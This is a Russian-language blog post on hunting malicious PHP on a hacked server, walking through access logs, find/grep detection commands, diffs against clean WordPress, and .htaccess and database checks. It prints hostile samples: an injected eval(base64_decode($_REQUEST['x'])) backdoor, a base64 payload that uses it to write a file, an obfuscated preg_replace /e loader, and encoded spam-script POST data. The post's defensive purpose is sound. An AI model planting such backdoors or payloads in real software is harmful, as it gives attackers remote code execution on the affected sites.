Сайт моего друга недавно был взломан, на нем была запущена старая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Этот пост не будет посвящен IP.Board или другому php коду, он покажет, как найти потенциально вредоносный php код на ваших серверах. Наконец, покажу пример того, что злоумышленники могут загрузить на взломанный сайт.
Проверьте логи доступа
Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.
IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.
Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.
Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?
Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.
Выявление вредоносных PHP файлов
Есть несколько способов, что бы выявить подозрительные php файлы на вашем сервере, вот самые лучшие.
Подсказка: эти команды, выполняйте из корневой директории вашего сайта.
Поиск недавно измененных PHP файлов
Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime -14 в течении двух недель.
find . -type f -name '*.php' -mtime -7
Мой взломанный сервер возвратил такие результаты:
./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php
Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.
Примечание: эта команда будет выдавать ложные результаты, если вы сами изменяли php файлы в данных период времени. Следующие методы являются гораздо более эффективными.
Искать все PHP файлы с подозрительным кодом
Это далеко не лучший подход, следующие команды ищут php файлы содержащие атакующие сценарии. Мы начнем с простого и получим больше с помощью расширенного поиска.
Первая проверка файлов которая содержит eval, base64_decode, gzinflate или str_rot13.
find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
Подсказка: первый параметр поиска это директория поиска, точка означает текущий каталог (и все вложенные каталоги). Можно изменить этот параметр в любое существующее имя каталога для уменьшения результатов поиска, например:
find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
Если вы удалите опцию -l из grep, он будет показывать текст совпавшего файла. Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей
find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color
Эта команда найдет php файлы содержащие eval(str_rot13(base64_decode(
Синтаксис grep очень прост и вы можете изменить его под свои нужды. Взгляните на выражение сверху, по которому мы ищем, это «eval *(str_rot13 *(base64_decode *(»
Пробел следующий за * означает ноль или более символов пробела. Выше приведенное выражение будет справедливо для следующих строк:
eval(str_rot13(base64_decode
eval( str_rot13( base64_decode
eval( str_rot13( base64_decode
Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Можно скомбинировать все эти значения в одну команду:
find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *("
Примечание: мы используем egrep, а не grep, это позволяет использовать расширенные регулярные выражения.
Наконец, вот не менее известный способ, что бы скрыть код:
preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'5b19fxq30jD8d/wp5C3tQoMx4CQ
FILE GOES ON FOR A LONG TIME......
lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'x29x29x29x3B",".");
preg_replace с e модификатором будет исполнять этот код, он выглядит необычно, однако это просто сжатый в формате base64 php код использующий некоторые шестнадцатеричные коды символов.
x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28 переводится как eval ( gzinflate ( base64_decode (, а x29x29x29x3B, как )) ) ;
Эта команда поможет вам найти использование preg_replace:
find . -type f -name '*.php' | xargs egrep -i "preg_replace *((['|"])(.).*2[a-z]*e[^1]*1 *," --color
Совет: если вы получаете тонну результатов выполнения данной команды, можно сохранить результат в файл или перенаправить их в другую программу под названием less, которая позволяет просматривать результаты по одной странице за раз. Клавиша f отвечает за прокрутку вперед, клавиша q за выход.
find . -type f -name '*.php' | xargs grep base64_ | less
find . -type f -name '*.php' | xargs grep base64_ > results.txt
С любыми выше приведенными командами поиска можно поступить в том же духе.
Совет обратили внимание на шестнадцатеричную x29 в конце? Это закрывающая скобка, а x3B точка с запятой. Вы можете убедиться в этом запустив:
echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );
Можете использовать find для поиска этих шестнадцатеричных кодов в php файлах для дальнейшей проверки.
find . -type f -name '*.php' | xargs grep -il x29
Это хороший подход если вы знаете, что не используете в коде шестнадцатеричные значения.
Констатируем факты
Большинство методов, предполагают, что злоумышленник загружает на север файлы и использует некоторые формы обфускации кода, когда другие злоумышленники могут просто изменить существующий php код. В этом случае код может выглядеть естественно и соответствовать стилю существующего сценария либо может быть запутанным.
Для того что бы решить эту проблему вам нужна чистая копия вашего кода, если вы пользуетесь широко распространенными php скриптами, например wordpress, vbulletin, IP.Board и т.д. — все готово. Если нет, надеюсь вы используете git или другие системы контроля версий и вы можете получить чистую версию вашего кода.
Для этого примера я буду использовать wordpress.
У меня есть две папки wordpress-clean, которая содержит только что скачанную копию wordpress и wordpress-compromised, которая содержит угрозу где-то в файлах.
drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 .
drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 ..
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised
Я могу найти различия между моим установленным wordpress и чистым wordpress, выполнив команду:
diff -r wordpress-clean/ wordpress-compromised/ -x wp-content
Я исключил wp-content из этого поиска, ведь каждый имеет собственные темы и плагины.
Совет: убедитесь, что вы используете ту же версию wordpress для сравнения.
Вот результаты моего поиска:
diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php
302a303,306
>
> if (isset($_REQUEST['x'])) {
> eval(base64_decode($_REQUEST['x']));
> }
Он обнаружил вредоносный код!
Из любопытства...
Что может сделать злоумышленник с этими 3 строками кода? Во-первых, атакующий узнал бы полезную информацию:
$payload = "file_put_contents("../../wp-content/uploads/wp-upload.php", "<?phpnphpinfo();");";
echo base64_encode($payload);
// output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=
Затем он отправил бы GET или POST запрос по адресу http:/ /YOURSITE/wp-admin/includes/class-wp-importer.php с параметром x содержащий сценарий созданный выше. В результате его выполнения будет создан файл /wp-content/uploads/wp-upload.php, который выводит информацию о вашем сервере. Это вроде не плохо, но дело в том что злоумышленник может запустить любой php код, который пожелает.
Примечание: это сработает только если каталог wp-content/uploads будет доступен для записи. Почти всегда в зависимости от настроек веб сервера вы можете изменять права чтения/записи на другие файлы.
Всегда ищите каталоги доступные для загрузки исполняемого кода
Используя методы, которые представлены выше, легко найти php код в вашей загрузочной директории. Для wordpress это было бы:
find wp-content/uploads -type f -name '*.php'
Совет: вот очень простой bash скрипт, который ищет директории доступные для записи и php файлы в них. Результат будет сохранен в файл results.txt. Скрипт работает рекурсивно.
#!/bin/bash
search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)
for dir in $writable_dirs
do
#echo $dir
find $dir -type f -name '*.php'
done
Назовите файл search_for_php_in_writable и дайте ему права на исполнение
chmod +x search_for_php_in_writable
Сохраните этот файл в вашем домашнем каталоге, а затем перейдите в каталог в котором вы собираетесь искать и выполните следующую команду:
~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less
Примечание: если ваш сайт находится на виртуальном
Примечание: взломщики обычно пытаются загрузить изображения, которые содержат php код, поэтому проверяйте и другие расширения, методами перечисленными выше.
find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php
Не верите? Этот файл был загружен как jpg изображение на взломанный сайт. Похоже он был ошибочно принят за бинарные данные. Вот тот же файл в более «читаемом» формате.
Все еще не можете прочитать? Так же как и я до более глубокой проверки. Весь этот код предназначен для запуска этой функции:
if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {
function shutdownCallback() {
echo "<!--".md5("links")."-->";
}
register_shutdown_function("shutdownCallback");
}
Что делает этот скрипт не имеет значения, вы должны усвоить, нужно проверять ваше загрузочные директории.
Если вам интересно, это просто пробный сценарий, что бы увидеть, является ли узел уязвимым, нападение произошло позже.
Где еще может скрываться вредоносный код?
Если ваш php код динамически генерирует содержимое страницы и ваш сайт был взломан, взломщик может записать вредоносный код в базу данных. Вы так же можете провести более тщательную проверку.
Перейдите на ваш сайт, после загрузки страницы посмотрите ее исходный HTML код и сохраните его где-то на вашем компьютере, например mywebsite.txt; Выполните следующую команду
grep -i '<iframe' mywebsite.txt
Взломщики часто вставляют iframe на взломанные сайты, проверьте все страницы сайта!
Совет: используйте расширение firebug для firefox, что бы просмотреть содержимое html вашего ресурса, злоумышленник может использовать javascipt для создание iframe, они не будут отображаться при просмотре исходного кода страницы в браузере, потому что DOM изменяется после загрузки страницы. Существует так же расширение Live HTTP Headers для firefox, которое покажет все текущие запросы на вашей странице. Это позволит легко увидеть веб запросы, которых не должно быть.
Поиск в базе данных
Возможно что злоумышленник добавил код в базу данных. Это будет только в том случае если ваш скрипт хранит пользовательский код, например плагины, в базе данных. Так делает vBulletin. Хотя это бывает редко, но вы должны это знать. Если вы в этом случае были взломаны, то злоумышленник вероятно вставить iframe в таблицы, которые отображают данные на вашем сайте.
В этом примере мы будем использовать mysql или его производные.
Для этого я бы хотел воспользоваться PHPMyAdmin и это для меня не обычно, я предпочитаю использовать инструменты командной строки, кода они доступны, однако этот инструмент является удобным для поиска.
Лично я не запускаю PHPMyAdmin на рабочем сервере, я скачиваю копию базы данных и запускаю ее на локальном сервере. Если база данных большая, не рекомендуется искать небольшие куски текста на рабочем сервере.
Откройте PHPMyAdmin выберите базу данных и нажмите 'Search'. Вы можете искать такие строки как %base64_% и %eval(%, и любые другие сочетания, которые я уже изложил.
Проверьте .htaccess файлы, если вы используете Apache
Если вы используете веб-сервер Apache, проверьте .htaccess файлы на подозрительные изменения.
auto_append_file и auto_prepend_file включают другие php файлы в начале или в конце всех php скриптов, злоумышленники могут использовать их для включения своего кода.
find . -type f -name '.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '.htaccess' | xargs grep -i auto_append_file;
Следующая команда ищет во всех подкаталогах файлы .htacсess, которые содержат 'http'. Результатом поиска будет список всех правил перенаправлений, в которых могут быть и вредоносные правила.
find . -type f -name '.htaccess' | xargs grep -i http;
Некоторые вредоносные перенаправления базируются на основе user agent. Было бы не плохо поискать использования HTTP_USER_AGENT в .htaccess файлах. Предыдущие команды можно легко изменить, просто поменяйте ключевое слово перед точкой замятой.
Для повышения уровня безопасности, если вы можете, отключите использование .htaccess в каталогах и переместите вашу конфигурацию в основную конфигурацию apache.
В «реальном мире»
Итак, почему люди хотят взломать ваш сайт, что это значит для них? Для одних это хобби, а для других источник дохода.
Вот пример атакующего скрипта загруженного на взломанный сайт. Он основан исключительно на post операциях, большинство логов веб серверов были бы бесполезны в данном случае. Я смог получить логи post запросов:
Array
(
[lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
[eIHSE] => PNxsDhxNdV
[mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
[dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX
QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m
a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn
LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr
dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq
ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy
anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi
UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei
InZjaWdsIiI+LXI8CD4tUUBNRls8CA==
[GGhp] => a3ZAbFFTSlJSbFo=
[AIQXa] => e3VWT2VvQ0hyS0ha
)
Вредоносный скрипт в основном SPAM зомби, который будет отправлять любой email кому угодно, который использует ваш сервер для отправки писем, через post запрос. Ключи в каждом post запросе могут изменятся и скрипт очень находчивый, он проверяет установленные функции и приспосабливается к этому. Например если php mail() недоступен, он будет пытаться создать сокет на 25 порту и отправлять электронную почту непосредственно через SMTP.
Если вам интересно расшифровать данные злоумышленников, воспользуйтесь функцией которая называется n9a2d8ce3. Загадочные данные POST проставляют адрес назначения и содержание e-mail.
Если вы используете советы данные в этой статье, вам не составит труда обнаружить подобный скрипт.
Заключение
Если вы используете общедоступные php скрипты, как wordpress, обращайте внимание на критические или обновления для системы безопасности не только для базовой установки, но и для расширений, таких как плагины. Большинство нападающих будут пытаться найти тысячи сайтов с известными уязвимостями, так что если вы уязвимы, вас найдут в конце концов.
Если вы работаете над шабашкой, все равно код нужно постоянно проверять, ведь не должно быть уязвимостей в библиотеках, которые вы используете.
Автор: Gariks